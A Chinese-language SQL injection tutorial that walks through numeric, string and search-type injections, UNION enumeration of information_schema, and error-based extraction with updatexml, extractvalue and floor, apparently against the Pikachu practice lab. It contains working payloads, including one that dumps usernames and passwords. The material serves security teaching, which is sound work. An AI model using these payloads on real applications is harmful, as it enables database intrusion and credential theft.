第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql inject测试语句进行注入点发现
第二步:信息获取
通过注入点取得期望得到的数据
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马
数字型:在输入点输入的数字直接拼接到了数据库中
如:select 字段1 from 表 where id=1(1就是输入点的值),可以这样构造payload,如果是GET传递参数,可以在URl上写 1 or 1=1,这样就构造了一个payload,把表遍历出来,如果是POST方式,需要用burpsuit抓包发送到repeater进行修改
字符型:在输入点输入的字符未作处理,直接拼接在sql语句中
如:select 字段1 FROM 表 WHERE name=’’,单引号里面就是我们输入的东西,这时候可以这样构造payload,先输入一个字符串然后一个单引号sdsf’,把前面那个单引号闭合掉,这样后面的单引号直接用#注释掉,就是sdsf’ or 1=1 #。
搜索型:也是把输入的字符串直接拼接了,但是查询语句可能不一样
如: select 字段 from 表 where 字段 like ‘%%’,%中间,就是我输入的要搜索的值,这样的话,可以这样构造闭合,先输入字符,然后%把前面那个%闭合掉,如ds%’,然后1=1,再用#把后面的注释掉,完整如下ds%’ or 1=1 #,
UNION联合查询
select a,b FROM c where id=1 UNION select f,d from c where id=2;
UNION联合的部分,查询的字段的数量,要和前面一致,这样我们就可以猜测到输出了几个值,如select a,b FROM c where id=1 UNION select database(),version();
还可以用order by 试探,select a,b FROM c where id=1 order by 3,就是以第3列排序,没有第3列的话会报错的。这时候就知道输出只有2列。
什么是information_schema?
我们用show databases看一下,发现有很多数据库,这里面有一个informaion_schema,是mysql自带的默认的数据库,会存很多重要的信息
use information_schema进去看一下
show tables看一下他的表,发现有个TABLES表,这个表里面会存TABLE_SCHEMA和TABLE_NAME,会把整个数据库,所有实例相关的信息都放在这里,然后会把哪些数据库里面有哪些表,表的名称是什么,表的类型等等都会放在这个表里。
还有另一个COLUMNS,这里面也有一个TABLE_SCHEMA,TABLE_NAME,column_name,可以查到对应的表有哪些字段。
select id,email from member where username=‘kobe’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’
这个操作就可以查出来,pikachu这个数据库有多少表,表的名称是什么
我们开始试验
先s’ order by 3#,报错未知的第三列
然后尝试s’ order by 2#,发现正常报错用户名错误,由此可知select 了两个字段;
可以用union了
s’ union select database(),version()#查出当前数据库和版本
知道数据库后,构造payload
s’ union select table_schema,table_name from information_schema.tables#
可以把所有数据库和各个数据库中的表名字遍历出来,然后加个where条件构造如下payload,进一步确认pikachu这个库有哪些表
s’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
这时候,我们发现有个users表,这个表是不是就是用户密码表呢,我们构造如下payload查出来users表有哪些字段
s’ union select table_name,column_name from information_schema.columns where table_name=‘users’#
这时候我们发现,users有password和username两个字段,然后构造如下payload获得用户名,密码
s’ union select username,password from users #
常用的报错函数updatexml()、extractvalue()、floor()
技巧思路
在Mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/update/insert/delete/都可以使用报错来获取信息
条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
updatexml()函数是Mysql对XML文档数据进行查询和修改的XPATH函数
extractvalue()函数是Mysql对XML文档数据进行查询的XPATH函数
floor()Mysql中用来取整的函数
updatexml()作用:改变XML文档中符合条件的节点的值
语法updatexml(xml_document,XPathstring,new_value)
第一个参数:fiedname是String格式,为表中的字段名
第二个参数:XPathstring(XPath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的
XPath的定位就是第二个参数必须是有效的,否则会发生错误,
第二个参数如果传进去的是一个表达式,函数会先把这个表达式执行之后,再把执行的结果作为报错的内容給爆出来
我们需要先输入个’看看Mysql报错信息会不会输出到前台来
发现可以看到数据库报错信息后,构造如下payload,其实updatexml()里面三个都不对,这样无所谓,只要能把我们要的version显示出来就行
s’ and updatexml(1,version(),3)#
但是发现,version没有显示完全,改成如下
s’ and updatexml(1,concat(0x7e,version()),23)#
concat是mysql的函数,他的作用是,把里面的两个参数组成一个完整的字符串打印出来,0x7e就是十六进制的~,这样就可以把version()的值完整的显示出来了,用其它的十六进制符号也行。
我们还可以把version表达式换成select语句,s’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’)),23)#
然后发现由于返回结果有多行,报错了,这个报错只能显示一行,所以我们用limit优化一下,limit 0,1的意思就是把查询出来的数据,从第0个位置开始,取1行,1是步长
s’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),23)#
ExtractValue(xml_document,xpath_string)
第一个参数:xml_document是String格式,为XML文档对象的名称
第二个参数:Xpath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则会发生错误。
这个在这里跟updatexml使用起来效果是一样的
基于floor()
floor这个函数如果要构成一个报错,在表达式里面必须有这几个条件:
1.运算里面要有count
2.运算里面一定要有group by
3.运算里面一定要有rand随机取值